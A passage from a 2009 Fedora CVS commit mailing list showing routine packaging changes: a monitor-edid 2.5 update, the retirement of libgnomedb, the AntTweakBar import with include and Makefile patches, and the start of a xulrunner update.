Author: remi

Update of /cvs/extras/rpms/monitor-edid/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31171

Modified Files:
	monitor-edid-makesource.sh monitor-edid.spec sources 
Added Files:
	monitor-edid-lrmi.patch 
Removed Files:
	monitor-edid-system-lrmi.patch 
Log Message:
update to 2.5

monitor-edid-lrmi.patch:
 Makefile |    2 +-
 vbe.c    |    2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE monitor-edid-lrmi.patch ---
diff -up monitor-edid-2.5/Makefile.lrmi monitor-edid-2.5/Makefile
--- monitor-edid-2.5/Makefile.lrmi	2009-10-25 20:30:10.000000000 +0100
+++ monitor-edid-2.5/Makefile	2009-10-25 20:31:34.000000000 +0100
@@ -30,7 +30,7 @@ CFLAGS = -O -Wall -g
 OBJS = monitor-get-edid-using-vbe.c vbe.o libint10.a libx86emu.a
 
 ifeq (i386,$(ARCH))
-monitor-get-edid-using-vbe: LDFLAGS += -llrmi
+OBJS += lrmi.o
 endif
 
 all: $(TARGETS)
diff -up monitor-edid-2.5/vbe.c.lrmi monitor-edid-2.5/vbe.c
--- monitor-edid-2.5/vbe.c.lrmi	2009-10-25 20:30:04.000000000 +0100
+++ monitor-edid-2.5/vbe.c	2009-10-25 20:31:03.000000000 +0100
@@ -193,7 +193,7 @@ int vbe_get_edid_info(hd_data_t *hd_data
 }
 
 #ifdef LRMI
-#include <lrmi.h>
+#include "lrmi.h"
 
 static int vbe_check_vbe_info__old(void)
 {


Index: monitor-edid-makesource.sh
===================================================================
RCS file: /cvs/extras/rpms/monitor-edid/EL-4/monitor-edid-makesource.sh,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- monitor-edid-makesource.sh	8 Apr 2008 16:07:32 -0000	1.1
+++ monitor-edid-makesource.sh	27 Oct 2009 06:53:45 -0000	1.2
@@ -2,8 +2,8 @@
 
 # check http://svn.mandriva.com/cgi-bin/viewvc.cgi/soft/monitor-edid/trunk/
 
-VERSION=1.16
-RELEASE=238912
+VERSION=2.5
+RELEASE=262278
 
 svn export -r $RELEASE http://svn.mandriva.com/svn/soft/monitor-edid/trunk monitor-edid-$VERSION && \
   tar cjf monitor-edid-$VERSION.tar.bz2 monitor-edid-$VERSION && \


Index: monitor-edid.spec
===================================================================
RCS file: /cvs/extras/rpms/monitor-edid/EL-4/monitor-edid.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- monitor-edid.spec	8 Apr 2008 16:07:32 -0000	1.1
+++ monitor-edid.spec	27 Oct 2009 06:53:45 -0000	1.2
@@ -1,24 +1,25 @@
 Name:           monitor-edid
 Summary:        Tool for probing and parsing monitor EDID
 
-# monitor-edid is LGPL, lrmi is MIT, cvt & x86emu are BSD
-License:        LGPLv2+ and BSD
+# monitor-edid is GPLv3+, x86emu is BSD
+License:        GPLv3+ and BSD
 Group:          System Environment/Base
 Url:            http://wiki.mandriva.com/en/Tools/monitor-edid
 
-Version:        1.16
-Release:        5%{?dist}
+Version:        2.5
+Release:        1%{?dist}.1
 
 # run monitor-edid-makesource.sh to create
 Source0:        %{name}-%{version}.tar.bz2
 Source1:        %{name}-makesource.sh
+Source2:        lrmi-0.10.tar.gz
 
-Patch0:         %{name}-system-lrmi.patch
+Patch0:         %{name}-lrmi.patch
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-%ifarch %{ix86} 
 %if 0%{?fedora}
+%ifarch %{ix86} 
 BuildRequires: lrmi-devel
 %endif
 %endif
@@ -32,15 +33,13 @@ For more information about EDID, see htt
 %prep
 %setup -q
 
-%if 0%{?fedora}
-# use system LRMI
-%patch0 -p1
-rm -f lrmi.c lrmi.h
+%if 0%{?rhel}
+tar xzf %{SOURCE2}
+cp lrmi-0.10/lrmi.{c,h} .
+cp lrmi-0.10/README README.lrmi
+%patch0 -p1 -b .lrmi
 %endif
 
-cp x86emu/LICENSE LICENSE.x86emu
-
-
 %build
 make CFLAGS="$RPM_OPT_FLAGS"
 
@@ -57,12 +56,22 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%doc README NEWS COPYING LICENSE.x86emu
+%doc README NEWS COPYING
+%if 0%{?rhel}
+%doc README.lrmi
+%endif
 %{_bindir}/*
 %{_sbindir}/*
 
 
 %changelog
+* Tue Oct 27 2009 Remi Collet <Fedora at famillecollet.com> 2.5-1.1
+- remove BR lrmi-devel on EL
+
+* Sun Oct 25 2009 Remi Collet <Fedora at famillecollet.com> 2.5-1
+- new version
+- bundle lrmi (not available on EL)
+
 * Mon Apr 07 2008 Remi Collet <Fedora at famillecollet.com> 1.16-5
 - lrmi not available on EL
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/monitor-edid/EL-4/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	8 Apr 2008 16:06:29 -0000	1.2
+++ sources	27 Oct 2009 06:53:45 -0000	1.3
@@ -1 +1,2 @@
-d90a9c03efd3bf2741ead193c95ef0e1  monitor-edid-1.16.tar.bz2
+17bd967d77397986b368fa28c6ec9153  monitor-edid-2.5.tar.bz2
+fc1d9495e8f4563fca471bb65f34a5da  lrmi-0.10.tar.gz


--- monitor-edid-system-lrmi.patch DELETED ---



From denis at fedoraproject.org  Tue Oct 27 07:27:21 2009
From: denis at fedoraproject.org (Denis Leroy)
Date: Tue, 27 Oct 2009 07:27:21 +0000 (UTC)
Subject: rpms/libgnomedb/F-12 dead.package, NONE, 1.1 .cvsignore, 1.6,
	NONE Makefile, 1.1, NONE libgnomedb.spec, 1.36, NONE sources,
	1.6, NONE
Message-ID: <20091027072721.C283011C00E6@cvs1.fedora.phx.redhat.com>

Author: denis

Update of /cvs/pkgs/rpms/libgnomedb/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7781/F-12

Added Files:
	dead.package 
Removed Files:
	.cvsignore Makefile libgnomedb.spec sources 
Log Message:
retiring package, abandoned upstream


--- NEW FILE dead.package ---
Package EOLed, abandoned upstream.


--- .cvsignore DELETED ---


--- Makefile DELETED ---


--- libgnomedb.spec DELETED ---


--- sources DELETED ---



From denis at fedoraproject.org  Tue Oct 27 07:27:22 2009
From: denis at fedoraproject.org (Denis Leroy)
Date: Tue, 27 Oct 2009 07:27:22 +0000 (UTC)
Subject: rpms/libgnomedb/devel dead.package, NONE, 1.1 .cvsignore, 1.6,
	NONE Makefile, 1.1, NONE libgnomedb.spec, 1.36, NONE sources,
	1.6, NONE
Message-ID: <20091027072722.0D7A211C00EF@cvs1.fedora.phx.redhat.com>

Author: denis

Update of /cvs/pkgs/rpms/libgnomedb/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7781/devel

Added Files:
	dead.package 
Removed Files:
	.cvsignore Makefile libgnomedb.spec sources 
Log Message:
retiring package, abandoned upstream


--- NEW FILE dead.package ---
Package EOLed, abandoned upstream.


--- .cvsignore DELETED ---


--- Makefile DELETED ---


--- libgnomedb.spec DELETED ---


--- sources DELETED ---



From elanthis at fedoraproject.org  Tue Oct 27 07:29:01 2009
From: elanthis at fedoraproject.org (Sean Middleditch)
Date: Tue, 27 Oct 2009 07:29:01 +0000 (UTC)
Subject: rpms/AntTweakBar/devel AntTweakBar-fix-includes.patch, NONE,
	1.1 AntTweakBar-makefile.patch, NONE, 1.1 AntTweakBar.spec, NONE,
	1.1 import.log, NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091027072901.2FE7F11C00E6@cvs1.fedora.phx.redhat.com>

Author: elanthis

Update of /cvs/pkgs/rpms/AntTweakBar/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8400/devel

Modified Files:
	.cvsignore sources 
Added Files:
	AntTweakBar-fix-includes.patch AntTweakBar-makefile.patch 
	AntTweakBar.spec import.log 
Log Message:
* Wed Oct 27 2009 Sean Middleditch <sean at middleditch.us> 1.13-5
- Initial import to devel.


AntTweakBar-fix-includes.patch:
 examples/TwAdvanced1.cpp |    4 ++++
 examples/TwString.cpp    |    4 ++++
 src/TwBar.cpp            |    4 ++++
 src/TwFonts.cpp          |    4 ++++
 src/TwMgr.cpp            |    5 +++++
 src/TwOpenGL.cpp         |    3 +++
 6 files changed, 24 insertions(+)

--- NEW FILE AntTweakBar-fix-includes.patch ---
diff -uNr AntTweakBar/examples/TwAdvanced1.cpp AntTweakBar-Fedora/examples/TwAdvanced1.cpp
--- AntTweakBar/examples/TwAdvanced1.cpp	2009-04-23 13:03:08.000000000 -0700
+++ AntTweakBar-Fedora/examples/TwAdvanced1.cpp	2009-10-21 13:32:07.142268590 -0700
@@ -30,6 +30,10 @@
 #define GLFW_DLL // use GLFW as a dynamically linked library
 #include "glfw.h"
 
+// Fedora patch: missing includes
+#include <cstdlib>
+#include <cstdio>
+
 #include <cmath>
 #include <iostream>
 #if !defined(_WIN32) && !defined(_WIN64)
diff -uNr AntTweakBar/examples/TwString.cpp AntTweakBar-Fedora/examples/TwString.cpp
--- AntTweakBar/examples/TwString.cpp	2009-04-23 13:03:08.000000000 -0700
+++ AntTweakBar-Fedora/examples/TwString.cpp	2009-10-21 13:32:51.538505701 -0700
@@ -27,6 +27,10 @@
 #   define _snprintf snprintf
 #endif
 
+// Fedora patch: missing includes
+#include <cstdio>
+#include <cstring>
+#include <cstdlib>
 
 // ---------------------------------------------------------------------------
 // 1) Callback functions for std::string variables
diff -uNr AntTweakBar/src/TwBar.cpp AntTweakBar-Fedora/src/TwBar.cpp
--- AntTweakBar/src/TwBar.cpp	2009-04-23 13:03:08.000000000 -0700
+++ AntTweakBar-Fedora/src/TwBar.cpp	2009-10-21 11:11:14.164153448 -0700
@@ -15,6 +15,10 @@
 #include "TwMgr.h"
 #include "TwBar.h"
 #include "TwColors.h"
+
+// Fedora patch: memset(), free(), and friends
+#include <cstring>
+#include <cstdlib>
   
 using namespace std;
 
diff -uNr AntTweakBar/src/TwFonts.cpp AntTweakBar-Fedora/src/TwFonts.cpp
--- AntTweakBar/src/TwFonts.cpp	2009-04-23 13:03:08.000000000 -0700
+++ AntTweakBar-Fedora/src/TwFonts.cpp	2009-10-21 11:10:27.427520003 -0700
@@ -14,6 +14,10 @@
 #include "TwMgr.h"
 #include "TwFonts.h"
 
+// Fedora patch: memset()
+#include <cstring>
+using std::memset;
+
 
 //  ---------------------------------------------------------------------------
 
diff -uNr AntTweakBar/src/TwMgr.cpp AntTweakBar-Fedora/src/TwMgr.cpp
--- AntTweakBar/src/TwMgr.cpp	2009-04-23 13:03:08.000000000 -0700
+++ AntTweakBar-Fedora/src/TwMgr.cpp	2009-10-21 11:18:54.890146180 -0700
@@ -28,6 +28,11 @@
 #if !defined(ANT_WINDOWS)
 #   define _snprintf snprintf
 #endif  // defined(ANT_WINDOWS)
+
+// Fedora patch: include fix
+#include <cstring>
+#include <cstdlib>
+#include <cmath>
 
 
 using namespace std;
diff -uNr AntTweakBar/src/TwOpenGL.cpp AntTweakBar-Fedora/src/TwOpenGL.cpp
--- AntTweakBar/src/TwOpenGL.cpp	2009-04-23 13:03:08.000000000 -0700
+++ AntTweakBar-Fedora/src/TwOpenGL.cpp	2009-10-21 11:10:07.041520158 -0700
@@ -15,6 +15,9 @@
 #include "TwOpenGL.h"
 #include "TwMgr.h"
 
+// Fedora patch: memset()
+#include <cstring>
+
 using namespace std;
 
 const char *g_ErrCantLoadOGL    = "Cannot load OpenGL library dynamically";

AntTweakBar-makefile.patch:
 Makefile |   13 +++++++++----
 1 file changed, 9 insertions(+), 4 deletions(-)

--- NEW FILE AntTweakBar-makefile.patch ---
--- AntTweakBar/src/Makefile	2009-04-23 13:03:08.000000000 -0700
+++ AntTweakBar-Fedora/src/Makefile	2009-10-21 13:13:35.007138035 -0700
@@ -5,15 +5,20 @@
 #SO_EXT		= .dll
 #---- LINUX
 SO_EXT		= .so
+SO_VERSION	= 0
 
 #---- Release
-CXXCFG   	= -O3
-LFLAGS		= -Wl,-s
-OUT_DIR		= ../lib
+#CXXCFG   	= -O3
+#LFLAGS		= -Wl,-s
+#OUT_DIR		= ../lib
 #---- Debug
 #CXXCFG   	= -g -D_DEBUG
 #LFLAGS		= 
 #OUT_DIR	= ../lib/debug
+#---- Fedora Build
+CXXCFG   	= $(FEDORA_CXXFLAGS)
+LFLAGS		= 
+OUT_DIR		= ../lib
 
 
 CXX      	= gcc
@@ -67,7 +72,7 @@
 
 $(TARGET): $(OBJS)
 	@echo "===== Link $@ ====="
-	$(LINK) $(LFLAGS) -shared -Wl,-soname,lib$(TARGET)$(SO_EXT)  -o $(OUT_DIR)/lib$(TARGET)$(SO_EXT) $(OBJS) $(LIBS)
+	$(LINK) $(LFLAGS) -shared -Wl,-soname,lib$(TARGET)$(SO_EXT).$(SO_VERSION)  -o $(OUT_DIR)/lib$(TARGET)$(SO_EXT) $(OBJS) $(LIBS)
 
 .cpp.o:
 	@echo "===== Compile $< ====="


--- NEW FILE AntTweakBar.spec ---
Name:		AntTweakBar
Version:	1.13
Release:	5%{?dist}
Summary:	GUI library for videogame property editing UIs

Group:		Applications/Internet
License:	zlib
URL:		http://www.antisphere.com/Wiki/tools:anttweakbar
Source0:	http://www.antisphere.com/Tools/AntTweakBar/AntTweakBar_113.zip
BuildRoot:  %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires: mesa-libGL-devel
BuildRequires: mesa-libGLU-devel
BuildRequires: libX11-devel
BuildRequires: xorg-x11-proto-devel

# upstream has missing includes for standard libc functions
# patch sent to upstream author via email.
Patch0:		AntTweakBar-fix-includes.patch

# allow overriding CXXFLAGS with Fedora preferred build options,
# and attach a proper soname to the shared library generated.
# patch sent to upstream author via email.
Patch1:		AntTweakBar-makefile.patch

# DOS mode file in upstream source makes this necessary
%global _default_patch_fuzz 2

%description
Library for easily creating and using tweakable properties in an OpenGL
or SDL application, designed primarily for professional game developers.

%package devel
Summary: Header files for AntTweakBar
Group: Development/Libraries
Requires: %{name} = %{version}-%{release}

%description devel
Header files for developing applications making use of AntTweakBar.

%prep
%setup -q -n AntTweakBar
%patch0 -p1
%patch1 -p1

# fix encoding in license file
iconv --from=iso-8859-1 --to=utf8 ./License.txt > ./License.txt.utf8
touch -r ./License.txt ./License.txt.utf8
mv ./License.txt.utf8 ./License.txt

# fix DOS newlines in one of our examples
sed "s|\r||g" ./examples/TwSimpleGLUT.c > ./TwSimpleGLUT.c
touch -r ./examples/TwSimpleGLUT.c ./TwSimpleGLUT.c
mv ./TwSimpleGLUT.c ./examples/TwSimpleGLUT.c

# fix file permissions (unzip makes everything executable)
# not doing this causes spurious executable bit warnings in
# rpmlint on the debuginfo package and on the doc files
find Readme.txt License.txt src examples include -type f -print0 | xargs -0 chmod 0644

%build
cd src
make %{?_smp_mflags} FEDORA_CXXFLAGS="%{optflags}"

%install
rm -rf "%{buildroot}"
install -m 644 -D include/AntTweakBar.h "%{buildroot}/%{_includedir}/AntTweakBar.h"
install -m 755 -D lib/libAntTweakBar.so "%{buildroot}/%{_libdir}/libAntTweakBar.so.0.0.0"
ln -s "%{_libdir}/libAntTweakBar.so.0.0.0" "%{buildroot}/%{_libdir}/libAntTweakBar.so.0"
ln -s "%{_libdir}/libAntTweakBar.so.0.0.0" "%{buildroot}/%{_libdir}/libAntTweakBar.so"

%clean
rm -rf "%{buildroot}"

%files
%defattr(-,root,root,-)
%doc Readme.txt
%doc License.txt
%{_libdir}/libAntTweakBar.so.0.0.0
%{_libdir}/libAntTweakBar.so.0

%files devel
%defattr(-,root,root,-)
%{_includedir}/*
%{_libdir}/libAntTweakBar.so
%doc examples/TwAdvanced1.cpp
%doc examples/TwSimpleGLFW.c
%doc examples/TwSimpleGLUT.c
%doc examples/TwSimpleSDL.c
%doc examples/TwString.cpp

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%changelog
* Wed Oct 23 2009 Sean Middleditch <sean at middleditch.us> 1.13-5
- Correct accidental macro expansion in changelog text.

* Wed Oct 23 2009 Sean Middleditch <sean at middleditch.us> 1.13-4
- Use %%global instead of %%define.
- Note that patches have been sent to upstream.

* Wed Oct 23 2009 Sean Middleditch <sean at middleditch.us> 1.13-3
- Preserve timestamp on License.txt.
- Renamed patches to comply with naming policy.
- Included Linux-relevant examples in documentation for -devel package.

* Wed Oct 22 2009 Sean Middleditch <sean at middleditch.us> 1.13-2
- Fix shared library soname and ld links.

* Wed Oct 21 2009 Sean Middleditch <sean at middleditch.us> 1.13-1
- Initial RPM release.


--- NEW FILE import.log ---
AntTweakBar-1_13-5_fc12:HEAD:AntTweakBar-1.13-5.fc12.src.rpm:1256628481


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/AntTweakBar/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	26 Oct 2009 20:15:06 -0000	1.1
+++ .cvsignore	27 Oct 2009 07:29:00 -0000	1.2
@@ -0,0 +1 @@
+AntTweakBar_113.zip


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/AntTweakBar/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	26 Oct 2009 20:15:06 -0000	1.1
+++ sources	27 Oct 2009 07:29:01 -0000	1.2
@@ -0,0 +1 @@
+2c02dd71d0f86c62f022eed7e0bcb5b8  AntTweakBar_113.zip



From elanthis at fedoraproject.org  Tue Oct 27 07:36:46 2009
From: elanthis at fedoraproject.org (Sean Middleditch)
Date: Tue, 27 Oct 2009 07:36:46 +0000 (UTC)
Subject: rpms/AntTweakBar/F-12 AntTweakBar-fix-includes.patch, NONE,
	1.1 AntTweakBar-makefile.patch, NONE, 1.1 AntTweakBar.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091027073646.D9F9111C00E6@cvs1.fedora.phx.redhat.com>

Author: elanthis

Update of /cvs/pkgs/rpms/AntTweakBar/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10548

Modified Files:
	.cvsignore sources 
Added Files:
	AntTweakBar-fix-includes.patch AntTweakBar-makefile.patch 
	AntTweakBar.spec 
Log Message:
* Wed Oct 27 2009 Sean Middleditch <sean at middleditch.us> 1.13-5
- Initial import to F-12.


AntTweakBar-fix-includes.patch:
 examples/TwAdvanced1.cpp |    4 ++++
 examples/TwString.cpp    |    4 ++++
 src/TwBar.cpp            |    4 ++++
 src/TwFonts.cpp          |    4 ++++
 src/TwMgr.cpp            |    5 +++++
 src/TwOpenGL.cpp         |    3 +++
 6 files changed, 24 insertions(+)

--- NEW FILE AntTweakBar-fix-includes.patch ---
diff -uNr AntTweakBar/examples/TwAdvanced1.cpp AntTweakBar-Fedora/examples/TwAdvanced1.cpp
--- AntTweakBar/examples/TwAdvanced1.cpp	2009-04-23 13:03:08.000000000 -0700
+++ AntTweakBar-Fedora/examples/TwAdvanced1.cpp	2009-10-21 13:32:07.142268590 -0700
@@ -30,6 +30,10 @@
 #define GLFW_DLL // use GLFW as a dynamically linked library
 #include "glfw.h"
 
+// Fedora patch: missing includes
+#include <cstdlib>
+#include <cstdio>
+
 #include <cmath>
 #include <iostream>
 #if !defined(_WIN32) && !defined(_WIN64)
diff -uNr AntTweakBar/examples/TwString.cpp AntTweakBar-Fedora/examples/TwString.cpp
--- AntTweakBar/examples/TwString.cpp	2009-04-23 13:03:08.000000000 -0700
+++ AntTweakBar-Fedora/examples/TwString.cpp	2009-10-21 13:32:51.538505701 -0700
@@ -27,6 +27,10 @@
 #   define _snprintf snprintf
 #endif
 
+// Fedora patch: missing includes
+#include <cstdio>
+#include <cstring>
+#include <cstdlib>
 
 // ---------------------------------------------------------------------------
 // 1) Callback functions for std::string variables
diff -uNr AntTweakBar/src/TwBar.cpp AntTweakBar-Fedora/src/TwBar.cpp
--- AntTweakBar/src/TwBar.cpp	2009-04-23 13:03:08.000000000 -0700
+++ AntTweakBar-Fedora/src/TwBar.cpp	2009-10-21 11:11:14.164153448 -0700
@@ -15,6 +15,10 @@
 #include "TwMgr.h"
 #include "TwBar.h"
 #include "TwColors.h"
+
+// Fedora patch: memset(), free(), and friends
+#include <cstring>
+#include <cstdlib>
   
 using namespace std;
 
diff -uNr AntTweakBar/src/TwFonts.cpp AntTweakBar-Fedora/src/TwFonts.cpp
--- AntTweakBar/src/TwFonts.cpp	2009-04-23 13:03:08.000000000 -0700
+++ AntTweakBar-Fedora/src/TwFonts.cpp	2009-10-21 11:10:27.427520003 -0700
@@ -14,6 +14,10 @@
 #include "TwMgr.h"
 #include "TwFonts.h"
 
+// Fedora patch: memset()
+#include <cstring>
+using std::memset;
+
 
 //  ---------------------------------------------------------------------------
 
diff -uNr AntTweakBar/src/TwMgr.cpp AntTweakBar-Fedora/src/TwMgr.cpp
--- AntTweakBar/src/TwMgr.cpp	2009-04-23 13:03:08.000000000 -0700
+++ AntTweakBar-Fedora/src/TwMgr.cpp	2009-10-21 11:18:54.890146180 -0700
@@ -28,6 +28,11 @@
 #if !defined(ANT_WINDOWS)
 #   define _snprintf snprintf
 #endif  // defined(ANT_WINDOWS)
+
+// Fedora patch: include fix
+#include <cstring>
+#include <cstdlib>
+#include <cmath>
 
 
 using namespace std;
diff -uNr AntTweakBar/src/TwOpenGL.cpp AntTweakBar-Fedora/src/TwOpenGL.cpp
--- AntTweakBar/src/TwOpenGL.cpp	2009-04-23 13:03:08.000000000 -0700
+++ AntTweakBar-Fedora/src/TwOpenGL.cpp	2009-10-21 11:10:07.041520158 -0700
@@ -15,6 +15,9 @@
 #include "TwOpenGL.h"
 #include "TwMgr.h"
 
+// Fedora patch: memset()
+#include <cstring>
+
 using namespace std;
 
 const char *g_ErrCantLoadOGL    = "Cannot load OpenGL library dynamically";

AntTweakBar-makefile.patch:
 Makefile |   13 +++++++++----
 1 file changed, 9 insertions(+), 4 deletions(-)

--- NEW FILE AntTweakBar-makefile.patch ---
--- AntTweakBar/src/Makefile	2009-04-23 13:03:08.000000000 -0700
+++ AntTweakBar-Fedora/src/Makefile	2009-10-21 13:13:35.007138035 -0700
@@ -5,15 +5,20 @@
 #SO_EXT		= .dll
 #---- LINUX
 SO_EXT		= .so
+SO_VERSION	= 0
 
 #---- Release
-CXXCFG   	= -O3
-LFLAGS		= -Wl,-s
-OUT_DIR		= ../lib
+#CXXCFG   	= -O3
+#LFLAGS		= -Wl,-s
+#OUT_DIR		= ../lib
 #---- Debug
 #CXXCFG   	= -g -D_DEBUG
 #LFLAGS		= 
 #OUT_DIR	= ../lib/debug
+#---- Fedora Build
+CXXCFG   	= $(FEDORA_CXXFLAGS)
+LFLAGS		= 
+OUT_DIR		= ../lib
 
 
 CXX      	= gcc
@@ -67,7 +72,7 @@
 
 $(TARGET): $(OBJS)
 	@echo "===== Link $@ ====="
-	$(LINK) $(LFLAGS) -shared -Wl,-soname,lib$(TARGET)$(SO_EXT)  -o $(OUT_DIR)/lib$(TARGET)$(SO_EXT) $(OBJS) $(LIBS)
+	$(LINK) $(LFLAGS) -shared -Wl,-soname,lib$(TARGET)$(SO_EXT).$(SO_VERSION)  -o $(OUT_DIR)/lib$(TARGET)$(SO_EXT) $(OBJS) $(LIBS)
 
 .cpp.o:
 	@echo "===== Compile $< ====="


--- NEW FILE AntTweakBar.spec ---
Name:		AntTweakBar
Version:	1.13
Release:	5%{?dist}
Summary:	GUI library for videogame property editing UIs

Group:		Applications/Internet
License:	zlib
URL:		http://www.antisphere.com/Wiki/tools:anttweakbar
Source0:	http://www.antisphere.com/Tools/AntTweakBar/AntTweakBar_113.zip
BuildRoot:  %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires: mesa-libGL-devel
BuildRequires: mesa-libGLU-devel
BuildRequires: libX11-devel
BuildRequires: xorg-x11-proto-devel

# upstream has missing includes for standard libc functions
# patch sent to upstream author via email.
Patch0:		AntTweakBar-fix-includes.patch

# allow overriding CXXFLAGS with Fedora preferred build options,
# and attach a proper soname to the shared library generated.
# patch sent to upstream author via email.
Patch1:		AntTweakBar-makefile.patch

# DOS mode file in upstream source makes this necessary
%global _default_patch_fuzz 2

%description
Library for easily creating and using tweakable properties in an OpenGL
or SDL application, designed primarily for professional game developers.

%package devel
Summary: Header files for AntTweakBar
Group: Development/Libraries
Requires: %{name} = %{version}-%{release}

%description devel
Header files for developing applications making use of AntTweakBar.

%prep
%setup -q -n AntTweakBar
%patch0 -p1
%patch1 -p1

# fix encoding in license file
iconv --from=iso-8859-1 --to=utf8 ./License.txt > ./License.txt.utf8
touch -r ./License.txt ./License.txt.utf8
mv ./License.txt.utf8 ./License.txt

# fix DOS newlines in one of our examples
sed "s|\r||g" ./examples/TwSimpleGLUT.c > ./TwSimpleGLUT.c
touch -r ./examples/TwSimpleGLUT.c ./TwSimpleGLUT.c
mv ./TwSimpleGLUT.c ./examples/TwSimpleGLUT.c

# fix file permissions (unzip makes everything executable)
# not doing this causes spurious executable bit warnings in
# rpmlint on the debuginfo package and on the doc files
find Readme.txt License.txt src examples include -type f -print0 | xargs -0 chmod 0644

%build
cd src
make %{?_smp_mflags} FEDORA_CXXFLAGS="%{optflags}"

%install
rm -rf "%{buildroot}"
install -m 644 -D include/AntTweakBar.h "%{buildroot}/%{_includedir}/AntTweakBar.h"
install -m 755 -D lib/libAntTweakBar.so "%{buildroot}/%{_libdir}/libAntTweakBar.so.0.0.0"
ln -s "%{_libdir}/libAntTweakBar.so.0.0.0" "%{buildroot}/%{_libdir}/libAntTweakBar.so.0"
ln -s "%{_libdir}/libAntTweakBar.so.0.0.0" "%{buildroot}/%{_libdir}/libAntTweakBar.so"

%clean
rm -rf "%{buildroot}"

%files
%defattr(-,root,root,-)
%doc Readme.txt
%doc License.txt
%{_libdir}/libAntTweakBar.so.0.0.0
%{_libdir}/libAntTweakBar.so.0

%files devel
%defattr(-,root,root,-)
%{_includedir}/*
%{_libdir}/libAntTweakBar.so
%doc examples/TwAdvanced1.cpp
%doc examples/TwSimpleGLFW.c
%doc examples/TwSimpleGLUT.c
%doc examples/TwSimpleSDL.c
%doc examples/TwString.cpp

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%changelog
* Wed Oct 23 2009 Sean Middleditch <sean at middleditch.us> 1.13-5
- Correct accidental macro expansion in changelog text.

* Wed Oct 23 2009 Sean Middleditch <sean at middleditch.us> 1.13-4
- Use %%global instead of %%define.
- Note that patches have been sent to upstream.

* Wed Oct 23 2009 Sean Middleditch <sean at middleditch.us> 1.13-3
- Preserve timestamp on License.txt.
- Renamed patches to comply with naming policy.
- Included Linux-relevant examples in documentation for -devel package.

* Wed Oct 22 2009 Sean Middleditch <sean at middleditch.us> 1.13-2
- Fix shared library soname and ld links.

* Wed Oct 21 2009 Sean Middleditch <sean at middleditch.us> 1.13-1
- Initial RPM release.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/AntTweakBar/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	26 Oct 2009 20:15:06 -0000	1.1
+++ .cvsignore	27 Oct 2009 07:36:45 -0000	1.2
@@ -0,0 +1 @@
+AntTweakBar_113.zip


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/AntTweakBar/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	26 Oct 2009 20:15:06 -0000	1.1
+++ sources	27 Oct 2009 07:36:46 -0000	1.2
@@ -0,0 +1 @@
+2c02dd71d0f86c62f022eed7e0bcb5b8  AntTweakBar_113.zip



From xhorak at fedoraproject.org  Tue Oct 27 07:40:55 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 07:40:55 +0000 (UTC)
Subject: rpms/xulrunner/F-10 .cvsignore, 1.73, 1.74 sources, 1.76,
	1.77 xulrunner.spec, 1.150, 1.151
Message-ID: <20091027074055.B9B3B11C02C6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/xulrunner/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11871

Modified Files:
	.cvsignore sources xulrunner.spec 
Log Message:
Update to 1.9.0.15


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xulrunner/F-10/.cvsignore,v
retrieving revision 1.73
retrieving revision 1.74
diff -u -p -r1.73 -r1.74
--- .cvsignore	9 Sep 2009 09:23:32 -0000	1.73
+++ .cvsignore	27 Oct 2009 07:40:54 -0000	1.74
@@ -2,3 +2,4 @@ xulrunner-1.9.0.11-source.tar.bz2
 xulrunner-1.9.0.12-source.tar.bz2
 xulrunner-1.9.0.13-source.tar.bz2
 xulrunner-1.9.0.14-source.tar.bz2
+xulrunner-1.9.0.15-source.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xulrunner/F-10/sources,v
retrieving revision 1.76
retrieving revision 1.77
diff -u -p -r1.76 -r1.77
--- sources	9 Sep 2009 09:23:32 -0000	1.76
+++ sources	27 Oct 2009 07:40:54 -0000	1.77
@@ -1 +1 @@
-fd867be30a47c9c8a82cf3a266740727  xulrunner-1.9.0.14-source.tar.bz2
+7f6c1106600d769f3fb822669f9dcca2  xulrunner-1.9.0.15-source.tar.bz2


Index: xulrunner.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xulrunner/F-10/xulrunner.spec,v
retrieving revision 1.150
retrieving revision 1.151
diff -u -p -r1.150 -r1.151
--- xulrunner.spec	9 Sep 2009 09:23:32 -0000	1.150
+++ xulrunner.spec	27 Oct 2009 07:40:55 -0000	1.151
